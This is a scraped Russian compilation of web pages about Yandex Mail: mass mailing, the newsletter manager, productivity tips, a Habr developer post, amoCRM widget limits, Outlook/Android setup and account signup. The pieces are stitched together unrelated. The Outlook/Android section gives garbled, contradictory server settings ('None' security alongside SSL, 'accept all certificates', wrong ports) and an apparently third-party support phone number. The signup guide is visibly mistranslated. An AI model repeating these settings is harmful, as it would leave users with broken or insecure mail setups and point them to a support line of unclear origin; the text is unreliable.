    Ваш Sendsay

    Как в Яндексе сделать рассылку писем?

    Как сделать рассылку на 1000 адресов с почты на Яндексе?

    Как сделать рассылку на 1000 адресов с почты на Яндексе?

    Если через Яндекс, то, похоже, придется мышкой поликать.

    Текст письма можно набрать и один для всех адресатов, а вот в поле «Кому» придется вносить всех адресатов практически вручную. Не совсем, конечно, вручную, в смысле впечатывать адреса, но все же.

    В правом конце поля «Кому» есть значок «+» с фигуркой, при наведении на который появляется подсказка «Добавить».

    Нажмите на него левой кнопкой мышки и проставьте галочки в соответствующих окошках появившегося полного списка Ваших адресатов (между именем и адресом адресата) у всех, кому должно быть направлено письмо. После этого кликните по кнопке «Добавить выбранных адресатов» — они все пропишутся в поле «Кому».

    Для разнообразия можете какую-то часть адресатов таким же путем добавить в поле «Копия», которое появляется по клику на ссылке «копия» над окном «Кому».

    Если нужно, прикрепите к письму необходимые файлы и всё — письмо можно отправлять. Оно дойдет до всех указанных Вами адресатов.

    Безусловно, можно, скопировав текст письма, подготовить несколько таких писем, например, десяток по сто адресатов в каждом. Тоже работенка та еще, но все же полегче, да и отдохнуть можно между письмами.

    Для контроля получения адресатами Вашего письма можно поставить галочку в поле «Уведомить о получении письма» под кнопкой «Отправить». Впрочем, автоматическое подтверждение тут не предусмотрено, а в ручном режиме кто-то может и проигнорировать появившуюся у них на экране Вашу просьбу подтвердить получение письма. Хотя, может быть, оно и ничего — представляете, если Вам придет тысяча подтверждений о получении письма? Неделю читать будете.

    www.moscow-faq.ru

    Управление рассылками прямо в почте от Яндекса

    Функционал сервиса Яндекс.Почта дополнился возможностью управлять рассылками, приходящими от разнообразных онлайн-сервисов, интернет-магазинов и компаний.

    Благодаря новому функционалу пользователи смогут избавиться от ненужных им рассылок, не отписываясь от каждой из них по отдельности. Уже сейчас новые возможности доступны как на компьютере, так и на мобильных устройствах.

    Осуществлять управление рассылками можно будет прямо в пользовательском интерфейсе сервиса Яндекс.Почта. Для того чтобы отказаться от ненужных рассылок, достаточно будет просто отметить их в списке полученных электронных писем и нажать на кнопку «Скрыть». После этого новые письма, приходящие от скрытой рассылки будут автоматически попадать в папку «Удаленные».

    На сегодняшний день новая функциональность уже доступна большинству пользователей почтового сервиса от Яндекса, а через несколько дней она появится у всех.

    Кроме всего прочего необходимо отметить, что Яндекс.Почта действительно хорошо отличает важные письма от неважных. Это означает, что если пользователь скроет новостную рассылку интернет-магазина, он все равно получит письмо о приеме заказа. Счета, уведомления и другие важные письма будут приходить как обычно.

    Типы писем — электронные письма, приходящие от других людей, авиабилеты, квитанции и т.д. почтовый сервис Яндекса успешно распознает с помощью специального алгоритма, созданного на основе технологий машинного обучения.

    С целью обучения данного алгоритма активно используются реальные отзывы, поэтому иногда почтовый сервис Яндекса будет спрашивать у своих пользователей, правильно ли был определен тип пришедшего электронного письма.

    Примечательно, что отзывы реальных пользователей являются действительно важным сигналом для соответствующего алгоритма. Именно с их помощью алгоритм классификации поступающих электронных писем проверяет качество собственной работы и постоянно совершенствуется.

    В заключение стоит еще раз напомнить о том, что скрытые пользователем рассылки будут автоматически перемещаться в папку «Удаленные». В ней письма будут храниться 31 день, и только после истечения этого срока будут удаляться безвозвратно.

    Также важно, что ранее скрытую рассылку пользователь сможет при желании вернуть тем же способом — через менеджер рассылок.

    www.internet-technologies.ru

    9 фишек для эффективной работы в Яндекс.Почте. Как сократить время на работу с почтой

    Сегодня даже на электронную почту обычного человека приходит множество писем: рассылки, уведомления от сайтов, письма от друзей и коллег, что и говорить о корпоративной почте: клиентам, коллеги и партнеры могут присылать сотни писем в день. Как не утонуть в этих письмах и успевать всем быстро и полноценно отвечать? Как не пропустить важную информацию и скрыть менее важную? Об этом — наша статья.

    В Яндекс.Почте есть много интересных и полезных фишек, мы рассмотрим самые важные их них. Поделитесь в комментариями теми фишками, которые используете вы. (А если вы начинающий пользователь, то рекомендуем посмотреть видеоуроки о том, как зарегистрировать почту и выполнять простейшие операции: отправлять и принимать письма и т.д. Смотреть видеоуроки).

    Вебинар по этой статье

    Откройте в полноэкранном режиме

    Фишка №1. Использование своего домена

    Яндекс.Почта дает возможность настроить для своего домена электронную почту. Так, например, если наш сайт имеет адрес pedsovet.su, мы можем настроить электронные ящики [email protected], [email protected], [email protected] и т.д. — до 2000 электронных адресов. В отличие от многих других сервисов, на Яндексе это можно сделать бесплатно. Для настройки перейдите на сайт http://pdd.yandex.ru и следуйте инструкциям.

    Интерфейс почты в своем домене будет такой же, как и обычная почта @yandex.ru.

    Фишка №2. Создание папок для хранения писем

    Как и обычные документы нам удобно раскладывать по папкам, так и электронные письма тоже. Создайте необходимое количество папок в настройках (шестеренка) — Папки и метки.

    Папки можно делать вложенными, удалять, очищать, переименовывать и т.д.

    Общий список папок отображается в левой части экрана почты.

    Перемещение писем в папки может происходить автоматически (см. ниже) или вручную в каждом письме.

    Фишка №3. Метки для писем

    Делаете ли Вы ярлычки на отдельных документах или закладки на страничках? Такие ярлычки можно делать и на письмах, они называются «метки». Они могут быть разного цвета и с определенными краткими подписями.

    По ярлычкам легко находить нужные письма в списке всех писем.

    Список всех меток отображается слева, под списком папок.

    Кликните по метке, и откроются все письма с этим ярлычком.

    Настроить метки на письма можно автоматически (см. ниже) или вручную на каждое письмо — в письме или в списке писем.

    Можно выбрать одну из имеющихся меток или создать новую. Для новой метки введите ее название (кратко), выберите цвет — Создать метку.

    Фишка №4. Подписи к письмам

    Удобно ли позвонить человеку по номеру телефона, если он указал его в своем письме, а не искать по записным книжкам? Да. Вы тоже можете указывать свое имя, номер телефона или другую информацию в подписи в письме. Причем, можно настроить несколько подписей: для друзей, для коллег, для начальства, и выбирать одну из заготовленных подписей при написании письма.

    В подписи можно вставлять ссылки и вообще любой текст до 10 000 символов. Жаль только, что картинки теперь вставить нельзя.

    Настроить подписи можно в Настройках — Личные данные, подпись, портрет.

    Там указать саму подпись.

    И, если подписей несколько, то включить возможность выбора подписи при написании письма.

    Фишка №5. Правила обработки писем

    Пожалуй, самое интересное, что позволяет тонко настроить почту и усилить возможности других фишек — папок, меток и т.п.

    Правила обработки писем позволяют настроить автоматические действия для писем, подпадающих под определенные условия. То есть можно понять, что отличает одни письма от других (отправитель, текст письма или что-то еще) и применять к этим письмам определенные действия. Например, вешать ярлычок «Ахтунг!» на все письма от начальника, удалять письма без прочтения, если это спам, от которого никак не удается защититься, перекладывать письма-уведомления от сайтов и социальных сетей в специальную папку и сразу помечать их прочитанными и т.д. Возможностей масса, нужно просто уметь ими пользоваться.

    Итак, правила могут автоматически:

    • ставить метки;
    • удалять;
    • пересылать;
    • уведомлять;
    • перекладывать в папку;
    • отвечать
    • и т.д.

    Рассмотрим пример: на нашем сайте есть автоматическое уведомление об ошибках и опечатках, которые отправляют наши пользователи (нужно выделить ошибку и нажать CTRL + ENTER на клавиатуре). Все эти уведомления приходят на нашу электронную почту. Мы обратили внимание, что у писем есть характерные особенности, некоторые маркеры: 1) письма приходят с электронной почты orphus.ru и 2) в теме письма есть слова «Орфографическая ошибка».

    Эти два условия мы включили в правило:

    ЕСЛИ от кого содержит orphus.ru

    ЕСЛИ тема письма содержит Орфографическая ошибка,

    то на такие письма вешается ярлычок Ошибка.

    И мы такие письма быстро можем найти в списке всех писем и исправить ошибки.

    В правилах могут быть некоторые тонкости: условие может быть одно, а может быть несколько, и выполняться они могут одновременно или только хотя бы одно из них для того, чтобы правило сработало.

    Также поле, по которому мы создаем правило, может содержать, не содержать и т.д. какой-то текст.

    Правила можно редактировать, отключать и включать или полностью удалять.

    После настройки правила обязательно нужно его проверить: выполняется ли оно, правильно ли работает.

    Легче всего настроить правило прямо в письме, которое вы хотите «приручить».

    Фишка №6. Напоминание об ответах

    Не нужно хранить в голове информацию о том, что кому-то мы написали письмо и нам бы хотелось получить ответ к такому-то дню, освободитесь от этого груза постоянно что-то помнить вместе с напоминаниями.

    Под текстом письма до его отправки настройки, когда вы хотите получить напоминание, если адресат вам не ответит на письмо.

    Фишка №7. Отправка письма по расписанию

    Сэкономьте свое время на подготовке писем, которые вы должны будете отправить в определенный день и час: напишите письмо сейчас и настройте его отправку по расписанию.

    Фишка №8. Шаблоны писем

    Если вам приходится отправлять одинаковые письма или отвечать одинаковыми ответами, сэкономьте свое время: напишите одно подробное грамотное письмо и сохраните его как шаблон. Потом вы сможете отвечать этим письмом или просто отправлять этот шаблон.

    Все шаблоны отображаются под списком папок слева, вернее, Шаблоны — это одна из папок в почте. Для написания шаблонного письма перейдите в Шаблоны, выберите нужный шаблон, укажите адресата, внесите небольшие изменения и отправляйте.

    Для ответа шаблоном в письме нажмите Ответить — справа Шаблоны и выберите шаблон.

    Создать шаблон можно и в списке шаблонов и в самом письме.

    Фишка №9. Найти все письма адресата

    Откройте письмо, нажмите на ФИО отправителя — Переписка, и откроются все письма этого отправителя.

    Фишка №10. Работа с несколькими ящиками

    Вы можете иметь несколько ящиков электронной почты на Яндексе, и быстро переключаться между ними — в правом верхнем углу.

    Фишка №11. Закрепление письма

    Хотите, чтобы какое-то письмо всегда было в поле вашего зрения, закрепите его — в самом письме или в списке писем. И в какой бы папке вы ни находились, письмо всегда будет перед глазами.

    На самом деле возможностей в Яндекс.Почте гораздо больше, но мы решили, что это наиболее интересные и важные фишки. А какие возможности используете вы? Поделитесь своим опытом в комментариях.

    Спасибо за Вашу оценку. Если хотите, чтобы Ваше имя
    стало известно автору, войдите на сайт как пользователь
    и нажмите Спасибо еще раз. Ваше имя появится на этой стрнице.

    Есть мнение?
    Оставьте комментарий

    Понравился материал?
    Хотите прочитать позже?
    Сохраните на своей стене и
    поделитесь с друзьями

    Вы можете разместить на своём сайте анонс статьи со ссылкой на её полный текст

    pedsovet.su

    В Яндекс.Почте появился инструмент для управления рассылками

    В Яндекс.Почте появилась возможность управлять рассылками, которые присылают онлайн-сервисы, магазины или другие компании. Теперь пользователи могут избавиться от ненужных рассылок, не отписываясь от каждой в отдельности. Новая функция доступна на компьютере и мобильных устройствах.

    Управлять рассылками можно в настройках Почты. Чтобы отказаться от ненужных, достаточно отметить их в списке и нажать на кнопку «Скрыть». С этого момента новые письма будут попадать в папку «Удаленные». Новая функция уже доступна большинству пользователей, а через пару дней появится у всех.

    Яндекс.Почта умеет отличать важные письма от неважных. Например, если человек откажется от новостной рассылки магазина, он все равно получит письмо о приеме заказа. Счета, уведомления и другие важные письма будут приходить как обычно. Типы писем — сообщения людей, авиабилеты, квитанции и так далее — Яндекс определяет с помощью алгоритма на основе машинного обучения.

    В обучении классификатора используются отзывы пользователей, поэтому иногда Почта будет спрашивать, правильно ли она распознала тип письма. Пользовательские отклики — важный сигнал для системы: с их помощью классификатор проверяет себя и совершенствуется.

    Cкрытые рассылки перемещаются в папку «Удаленные». Там письма хранятся 31 день и только после этого исчезают навсегда. Ранее скрытую рассылку при желании можно вернуть тем же способом — через менеджер рассылок.

    www.searchengines.ru

    Как отказаться от ненужных рассылок с помощью одной кнопки. Опыт команды Яндекс.Почты

    Согласно нашим исследования, не менее 20% пользователей страдают от большого числа непрочитанных писем. Львиная доля этих писем — регулярные рассылки. Большая часть из них никогда не будет открыта и прочитана — они лежат мёртвым грузом и отвлекают от полезных писем. Для решения этой проблемы придумано множество способов, но ни один из них нельзя назвать полноценным.

    Меня зовут Илья Воробьёв, и я расскажу читателям Хабра историю возникновения альтернативного решения — возможности управлять рассылками и гарантированно отписаться от любой, не покидая интерфейс Яндекс.Почты.

    Проблема бесполезных писем знакома не только по интернету. В подъездах наших домов стоят металлические ящики для самой обычной бумажной почты. Их очень любят наполнять листовками и буклетами. Приходится доставать, аккуратно перебирать, чтобы не потерять полезное уведомление или квитанцию между страницами рекламы. У этой проблемы до сих пор нет системного решения. Разве что нанять сурового консьержа для отпугивания разносчиков макулатуры.

    Электронная почта в полной мере унаследовала эту проблему. Казалось бы, в цифровой среде решить её должно быть проще. Отчасти это так. Например, наш почтовый сервис вполне успешно использует машинный интеллект для фильтрации спама от неизвестных отправителей с одноразовыми адресами и прочих наследников из Африки. Но не все рассылки — это спам.

    List-Unsubscribe и кнопка «Отписаться»

    Что делать с регулярными и порой даже качественными рассылками от известных сервисов, на которые пользователь когда-то подписался, но по разным причинам перестал читать?

    Почтовый сервис может помогать людям отписаться от таких писем. Ровно это мы и это делаем с 2013 года. Именно тогда у писем в Яндекс.Почте появилась кнопка «Отписаться». Но и это нельзя назвать полноценным решением по трём причинам.

    Во-первых, эта кнопка работает не на магии, а использует ссылку List-Unsubscribe, которую автор рассылки мог передать в заголовке письма (согласно стандарту RFC 4021). А мог и не передать, чтобы не упрощать пользователям процесс отписки.

    Во-вторых, даже наличие ссылки не гарантирует её корректную работу. Клик по кнопке «Отписаться» или по ссылке в письме перенаправляет пользователя на внешний сайт. Владелец сайта может проигнорировать переход по такой ссылке, потребовать давно забытый пароль от аккаунта или даже попросить позвонить в поддержку в рабочие часы.

    В-третьих, автор рассылки мог и вовсе не предусмотреть возможность отписаться.

    Первый подход к управлению рассылками

    Мы искали возможность помочь людям, которые тонут в рассылках, но не находят время на разбор писем, прохождение квестов для отписки и настройку ручных фильтров. Нужно было найти такое решение, которое помогло бы любому человеку быстро найти все рассылки и гарантированно от них отписаться.

    В этой ситуации часто вспоминают про идею фильтровать письма по разным вкладкам в зависимости от их природы. Это хорошая идея, когда нужно отделить рассылки от личных писем или уведомления соцсетей от авиабилетов. Но сегодня у нас другая задача — помочь людям отделить полезное от того, что они не читают, и дать возможность надёжно избавиться от ненужных писем.

    Примерно два года назад мы нарисовали первый макет того, как люди могли бы отписываться от рассылок с нашей помощью.

    Идея проста: собрать в одном месте все рассылки, на которые подписан человек, и дать гарантированную возможность отписаться от любой прямо в почте, без перехода на сайт сервиса!

    Макет был не идеален, если судить по нашим текущим знаниями. Например, как оказалось, общее количество писем и дата последнего мало помогают принятию осознанного решения, скорее, даже отвлекают от него.

    Внутренний прототип

    Мы учли это в нашем первом внутреннем прототипе, который был собран за пару недель в рамках Школы разработки интерфейсов. В нём мы отказались от лишних полей, но попробовали помочь иначе.

    Яндекс.Почта знает, какие письма открываются, а какие рассылки так и остаются непрочитанными. Значит, мы можем оценить их по признаку читаемости самостоятельно и дать кнопку удалить все, которые пользователь не читает.

    Казалось бы, идеальное решение. Казалось бы…

    Первый эксперимент

    Прототип лёг в основу эксперимента, который был доступен части пользователей с весны прошлого года. Мы наблюдали. Меняли те или иные элементы. Собирали отзывы.

    Например, мы поняли, что зачастую людям не хватает примеров писем, чтобы понять, полезная это рассылка или нет. Поэтому в итоге мы добавили возможность просмотреть список последних писем.

    Но были и более серьёзные проблемы. Оказалось, что пользователи в массе своей не доверяют оценкам алгоритмов о том, полезная рассылка или нет. Более того, многие боятся удалять даже нечитаемые рассылки — вдруг там будет что-то важное?

    Этот страх побудил нас доработать решение так, чтобы важные письма из скрытых рассылок всё равно попадали во входящие. К примеру, если вы отказались от новостной рассылки интернет-магазина, вы продолжите получать сообщения о сделанных в нём заказах. Для этого пришлось повозиться с машинным обучением, но оно того стоило.

    Запуск на всех

    Финальное решение, которое сегодня мы включаем для всех пользователей Яндекс.Почты, больше не пугает лишними деталями и сложными вопросами. Мы даём пользователям простой, удобный интерфейс для управления всеми рассылками и надёжный способ от них отказаться. Люди сами решат, какие рассылки им нужны.

    Внимательный читатель уже мог задаться вопросом, каким же именно образом мы позволяем «отписываться» от рассылок прямо в Почте, без перехода на сайт сервиса? Мы не можем полагаться на добропорядочность авторов рассылок и наличие заголовка List-Unsubscribe. Поэтому все новые письма (а также все старые, если поставить всего одну галочку) автоматически перемещаются в Корзину, откуда их при желании можно восстановить. Рассылки, кстати, тоже легко восстановить в любой момент в соседней вкладке (и это удобнее, чем искать возможность подписаться на сайте).

    Немного чисел об эффективности этого решения. В среднем у страдающих пользователей подключено около 50 рассылок. Благодаря новому решению, они отписываются в среднем от 38 рассылок! Это существенно экономит время и помогает не терять полезные письма.

    Кроме того, мы провели опрос среди пользователей, которые получили доступ к новой возможности раньше других. Его результаты можно найти за спойлером.

    habr.com

    Инструкция по работе с виджетом «Почтовик» в amoCRM

    Данный виджет предоставляет широчайший функционал по автоматизации отправки писем, но такой подход требует от вас внимательности.

    Об ограничениях почтового ящика
    Прежде всего вы должны понимать, что Почтовик отправляет письма, используя ваш электронный ящик. В среднем каждый почтовый сервис ставит ограничение на ежедневное количество отправляемых писем 2-3 тыс. в день, старайтесь не превышать данные лимиты иначе ящик может быть заблокирован.

    Для больших рассылок в настройках ящика Почтовика используйте данные от платных SMTP серверов с гарантированной доставкой подобных рассылок, например SendPulse.

    Об автоматизации
    Так же следите за тем, чтобы триггеры в шаблонах не запускали отправку этого же шаблона бесконечное количество раз. Например, можно настроить отправку письма по этому же шаблону еще раз, при его открытии. Таким образом как только клиент откроет письмо, ему придет точно такое же, как только клиент откроет второе, придет третье и так бесконечно.

    Но еще хуже, если вы автоматически отправляете ЭТОТ ЖЕ шаблон, при условии, что письмо не будет открыто. Это вызовет зацикливание отправки, пока кто то не откроет последнее письмо. Представьте, что клиент добавил вас в спам и больше никогда не откроет ваши письма — таймер отправки следующего письма, будет срабатывать еще раз, отправляя повторное письмо, которое, в свою очередь запустит следующий таймер, вызывая рекурсию. Пока кто нибудь не откроет последнее письмо, сообщения будут уходить бесконечно.

    Тестируйте цепочки писем на своем e-mail прежде чем отправлять его клиентам.

    Не делайте рассылки по базе e-mail адресов, если вам явно не давали согласие на получение подобных писем.

    Всегда вставляйте триггерные ссылки отписки от цепочки ваших писем, чтобы клиент легко смог отписаться от вас. Это можно сделать, например, через изменение дополнительного поля «Рассылка» = Да/Нет. На основе этого поля уже фильтруйте действия в цифровой воронке.

    Максимальный размер тела письма не должен превышать 8 Мбайт.

    Об ограничениях трекинга открытия письма
    Виджет помогает отслеживает открытие писем на стороне получателя, однако отслеживание может работать не во всех случаях.
    Технически нельзя отследить открытие письма, если:

    • отключено отображение картинок в письме
    • используется специализированное десктопное ПО для работы с письмами, например The Bat
    • используются дополнительные расширения к браузерам, которые отключают трекинг пиксели на сайтах, например AdBlock
    • письмо открывается на особой ОС или в браузере, например iOS, которая по умолчанию защищает от трекинга в письмах
    • письмо открывается на территории страны, где могут быть заблокированы некоторые инфраструктурные сервисы из РФ

    При этом отслеживание кликов по ссылкам в письме работает корректно и оставшаяся часть трекинга открытия позволяет получать статистически значимые данные по конверсиям писем.

    Яндекс.Почта Настройки Outlook (POP3, IMAP) +1 (866) 439-1064

    Emailsfix »Яндекс Почта» Настройки Яндекс Почты для Outlook и Android


    В нижеприведенном руководстве мы подробно рассмотрим настройки Яндекс-почты для Outlook и Android. Все необходимые настройки разбиты на этапы, которые помогают пользователю без проблем настроить учетную запись электронной почты Яндекса. Процедура действительно проста в исполнении и не требует никакой внешней помощи или технических знаний.

    Многие из вас будут испытывать затруднения с настройками Яндекс почты для Outlook или настройками Яндекс почты для Android. Но после внимательного прочтения этой статьи борьба будет окончена. Базовые настройки Яндекс почты состоят из двух частей: настроек сервера входящей почты и настроек сервера исходящей почты. Вы можете определить только по названию, что сервер входящей почты обрабатывает входящие письма, а сервер исходящей почты обрабатывает исходящие письма. SMTP-сервер используется для исходящей электронной почты, но вы можете выбрать IMAP или POP-сервер для входящей почты.Тем не менее, мы всегда предлагаем использовать сервер IMAP для входящей почты, и настройки, упомянутые ниже, также соответствуют серверу IMAP. Эти настройки сервера IMAP и SMTP играют очень важную роль в активации почтовых служб, поскольку без правильных настроек сервера вы не сможете отправлять / получать электронные письма.

    Итак, начнем с настроек электронной почты Яндекса для Outlook и Android. Во-первых, мы рассмотрим общие настройки IMAP и SMTP почты Яндекс.

    Яндекс.Почта Настройки IMAP

    Параметры IMAP Яндекс почты , которые необходимо ввести и применить для удобного использования служб входящей почты Яндекса, следующие:

    Яндекс.com Тип учетной записи Сервера входящей почты IMAP
    Имя пользователя сервера входящей почты Yandex.com Ваш полный адрес электронной почты Yandex.com
    Пароль сервера входящей почты Yandex.com Ваш Яндекс .com пароль электронной почты
    Имя хоста сервера входящей почты Yandex.com imap.yandex.com
    Порт сервера входящей почты Yandex.com 993
    Яндекс.com Сервер входящей электронной почты Требуется TLS / SSL ДА
    Требуется аутентификация ДА (Имя пользователя и пароль учетной записи электронной почты)

    После успешного ввода и применения вышеупомянутых настроек сервера IMAP вы будете возможность получать электронные письма на свою учетную запись электронной почты на Яндексе без каких-либо проблем.

    Настройки SMTP Яндекс Почты

    Теперь вам нужно перейти к настройкам SMTP почты Яндекса , так как это включит службы исходящей почты для вашей учетной записи электронной почты Яндекса.

    Тип учетной записи сервера исходящей почты Yandex.com SMTP
    Имя пользователя сервера исходящей почты Yandex.com Ваш полный адрес электронной почты Yandex.com
    Сервер исходящей почты Yandex.com пароль Ваш адрес электронной почты Яндекс.ком. пароль
    Имя хоста сервера исходящей почты Яндекс.com порт исходящего сервера электронной почты 587
    Сервер исходящей электронной почты Yandex.com Требуется TLS / SSL ДА
    Требуется аутентификация ДА (имя пользователя и пароль учетной записи электронной почты)

    Эти настройки активируют службы исходящей почты для вашей учетной записи электронной почты Яндекса, и теперь вы можете начать отправлять электронные письма всем своим контактам электронной почты.

    Настройки Яндекс Почты для Outlook (автоматическая настройка)

    Требуется настроить учетную запись Яндекс почты в Outlook? Тогда вы попали на нужную страницу.Ниже приведены настройки электронной почты Яндекса для Outlook, которые помогут вам в процессе настройки учетной записи электронной почты Яндекса в Outlook.

    Шаг 1 — Запустите программу Outlook в вашей системе.

    Шаг 2. Теперь выберите «Инструменты» в доступной строке меню.

    Шаг 3 — Щелкните «Настройки учетных записей».

    Шаг 4. На странице настроек учетных записей нажмите «Создать» на вкладке электронной почты.

    Шаг 5 — Выберите вариант «Microsoft Exchange, IMAP, POP3 или HTTP».

    Шаг 6 — Вам необходимо ввести свое имя, полный адрес электронной почты и пароль в соответствующие поля, а затем нажать кнопку «Далее».

    Шаг 7 — Программа Outlook настроит вашу учетную запись Яндекс почты на основе автоматических настроек IMAP.

    Шаг 8 — В конце нажмите кнопку «Готово», а затем «Закрыть».

    Итак, вот как вы настраиваете учетную запись электронной почты Яндекса в Outlook в процессе автоматической настройки. После того, как вы выполните все вышеупомянутые шаги по настройке учетной записи, ваша учетная запись электронной почты на Яндексе будет настроена автоматически в соответствии со всеми необходимыми настройками.

    Настройки Яндекс Почты для Outlook (ручная настройка)

    Помимо процесса автоматической настройки, вы также можете выбрать процесс настройки вручную, в котором вам необходимо ввести и применить параметры каждого сервера вручную. Найдите ниже правильные настройки Яндекс-почты для Outlook в соответствии с процедурой ручной настройки. Ручная настройка учетной записи электронной почты Яндекса в Outlook не так уж и сложна. Давайте начнем и найдем ниже простые шаги для того же.

    Шаг 1. Во-первых, вы должны запустить программу Outlook в вашей системе.

    Шаг 2. Затем выберите «Инструменты» в строке меню.

    Шаг 3 — Теперь нажмите «Настройки учетных записей».

    Шаг 4. На странице настроек учетных записей нажмите «Создать» на вкладке электронной почты.

    Шаг 5 — Выберите параметр «Microsoft Exchange, IMAP, POP3 или HTTP» и нажмите «Далее».

    Шаг 6 — Установите флажок «Вручную настроить параметры сервера или дополнительные типы серверов», а затем нажмите кнопку «Далее».

    Шаг 7 — Выберите опцию «Электронная почта в Интернете» и нажмите «Далее».

    Шаг 8 — Введите всю необходимую информацию в соответствующие поля (выберите IMAP или POP в соответствии с вашими требованиями), а затем нажмите «Дополнительные настройки».

    Шаг 9 — Перейдите на вкладку сервера исходящей почты и убедитесь, что флажок «Мой сервер исходящей почты (SMTP) требует аутентификации» установлен вместе с флажком «Использовать те же настройки, что и мой сервер входящей почты».

    Шаг 10 — Перейдите на вкладку «Дополнительно» и убедитесь, что настройки сервера указаны ниже в соответствии с вашим выбором сервера IMAP или POP.

    Настройки POP Яндекс.Почты

    Входящий порт 110
    Исходящий порт 587
    Защищенный порт 995
    Тип безопасности SSL / TLS (принимать все сертификаты)
    Небезопасный порт 110
    Тип безопасности Нет (принять все сертификаты)
    «Этот сервер требует зашифрованного соединения (SSL)» Необходимо отметить галочкой
    «Использовать следующий тип зашифрованного соединения» Выбрать Нет

    Яндекс Почта Настройки IMAP

    Входящий порт 143
    Исходящий порт 587
    Защищенный порт 993
    Тип безопасности SSL / TLS (принимать все сертификаты)
    Небезопасный порт 143
    Тип безопасности Нет (принять все сертификаты)
    «Этот сервер требует зашифрованного соединения (SSL)» Не нужно ставить галочку
    «Используйте следующий тип зашифрованного соединения: Установите значение «Нет»
    • Установите флажок «Эта служба требует безопасного соединения (SSL)» как для входящей, так и для исходящей почты, если вы выбираете параметры безопасного SSL / TLS.

    Настройки SMTP Яндекс Почты

    Исходящий безопасный порт (SMTP) 465
    Тип безопасности SSL / TLS (принимать все сертификаты)
    Исходящий безопасный порт (SMTP-роуминг-сервер) порт 587
    Тип безопасности SSL / TLS (принять все сертификаты)
    Исходящий порт (SMTP) 25
    Тип безопасности Нет (принять все сертификаты)
    Небезопасный исходящий порт (сервер SMTP-роуминга) 587
    Тип безопасности Нет (принять все сертификаты)

    Шаг 11- Нажмите кнопку «ОК», чтобы сохранить вышеупомянутые настройки сервера.

    Шаг 12. В конце нажмите «Далее», а затем «Готово».

    Отлично! Вы успешно настроили свою учетную запись электронной почты на Яндексе в Outlook, выполнив действия вручную. Настройки аналогичны для всех доступных на сегодняшний день версий Outlook. Вам необходимо выполнить те же шаги, описанные выше, чтобы настроить учетную запись электронной почты Яндекса в любой из версий Outlook.

    Настройки Яндекс.Почты для Android

    Многие из вас могут захотеть узнать настройки электронной почты Яндекса для Android, поскольку эти настройки необходимы для настройки учетной записи электронной почты Яндекса на устройствах Android.Не беспокойтесь, здесь вы найдете пошаговые настройки Яндекс почты для Android , которые легко выполнить и выполнить для всех.

    Шаг 1. Сначала щелкните значок «Почта», который доступен в меню панели приложений вашего устройства Android.

    Шаг 2 — Введите свой полный адрес электронной почты и пароль для него.

    Шаг 3 — Выберите опцию «Ручная настройка».

    4 сентября — Теперь выберите опцию «Учетная запись IMAP».

    Шаг 5. Если вы выбрали опцию «Учетная запись IMAP», введите указанные ниже настройки сервера и нажмите кнопку «Далее».

    Сервер IMAP Введите «imap.yandex.com»
    Тип безопасности Нет
    Порт сервера IMAP 993
    Защищенный порт 993
    Тип безопасности SSL / TLS (принять все сертификаты)
    Небезопасный порт 143
    Тип безопасности Нет (принять все сертификаты)

    Шаг 6. Также введите указанные ниже настройки для SMTP-сервер Яндекс почты и нажмите кнопку «Далее».

    SMTP-сервер Ввод «smtp.yandex.com»
    Тип безопасности Нет
    Порт SMTP-сервера 587
    Исходящий безопасный порт (SMTP) 465
    Тип безопасности SSL./TLS (принимать все сертификаты)
    Исходящий безопасный порт (сервер SMTP-роуминга) 587
    Тип безопасности SSL / TLS (принимать все сертификаты)
    Исходящий (SMTP) порт 25
    Тип безопасности Нет (принять все сертификаты)
    Небезопасный исходящий порт (сервер в роуминге SMTP) 587
    Тип безопасности Нет (принять все сертификаты) )

    Шаг 7. Теперь нажмите кнопку «Готово».

    Поздравляем! Настройки электронной почты Яндекса для Android были успешно применены, и теперь вы можете без проблем использовать учетную запись электронной почты Яндекса на своем Android-устройстве.

    Надеемся, что теперь вы знаете правильные настройки электронной почты Яндекса для Outlook и Android. Но если вы где-то застряли или столкнулись с какой-либо проблемой с вышеупомянутыми настройками электронной почты Яндекса, обратитесь к нашей технической команде через поддержку в чате. Наша обученная техническая команда готова круглосуточно помочь вам с проблемами, связанными с электронной почтой, независимо от того, связана ли проблема с настройками или чем-то еще.

    Хотите также узнать настройки электронной почты Cox для Outlook ? Здесь вы найдете подробное руководство по настройке электронной почты cox для Outlook, а также необходимые шаги, которые необходимо выполнить и выполнить. Шаги довольно просты, вам не потребуется помощь специалиста как таковая.

    Как создать почтовый ящик в Яндекс Почте? Пошаговое руководство

    Если вы хотите, чтобы у была учетная запись электронной почты , есть много альтернатив.Крупные компании позаботились о том, чтобы предоставить пользователям доступ к электронной почте, которая превратилась из простого способа отправки и получения сообщений в комплексную платформу, загруженную дополнительными функциями.

    Прежде чем мы будем думать об электронной почте как о форме контакта, чтобы поговорить напрямую с кем-либо, независимо от его местоположения, мы теперь думаем об электронной почте как о способе доступа к облачному хранилищу и использованию приложений. или даже купить в интернет-магазине. Из всех существующих предложений привлекает внимание Яндекс Почты .Яндекс разработал систему обмена сообщениями с дополнительными функциями и преимуществами, которые привлекают все больше и больше пользователей.

    Прежде всего, пространство 10 ГБ памяти , которое увеличивается с 1 ГБ до 1 ГБ, если у вас меньше 200 МБ пространства ; во-вторых, — мощное онлайн-сканирование на вирусы, которое предотвращает вредоносное ПО и любые возможные атаки, которые пытаются проникнуть по почте; в-третьих, мощная персонализация за счет использования тем. И мы могли бы продолжить перечисление плюсов, но это те, которые выделяются больше всего.

    Зарегистрировать новый почтовый ящик в Яндекс Почте

    Имея все это в виду, обычно задаются вопросом , как создать учетную запись электронной почты в Яндекс Почте , и здесь мы дадим ответ на этот вопрос. В этом руководстве мы объясним все шаги для завершения регистрации на этой английской платформе и, кроме того, мы также расскажем вам, что нужно делать, если вы хотите, чтобы синхронизировал обмен сообщениями Яндекса на вашем мобильном телефоне или в любом внешнем почтовом клиенте. .Вы можете взять почту куда угодно.

    На зарегистрировать новый почтовый ящик в Яндекс Почте, это очень просто. Его специализированный портал требует только ввода серии личных данных , чтобы связать их с соответствующим адресом электронной почты без дальнейших осложнений. Вы должны заполнить простую форму с очень базовой информацией, которую можно заполнить максимум за несколько минут.

    Тем не менее, мы отмечаем, что это то, что полностью на английском языке .На сайте Яндекса нет никаких следов испанского, хотя мы расскажем вам условия каждого раздела, чтобы у вас не было проблем с регистрацией учетной записи. Затем мы объясним, что нужно сделать, чтобы открыть новую учетную запись электронной почты в Яндекс Почте:

    1 — Вход на сайт Яндекса

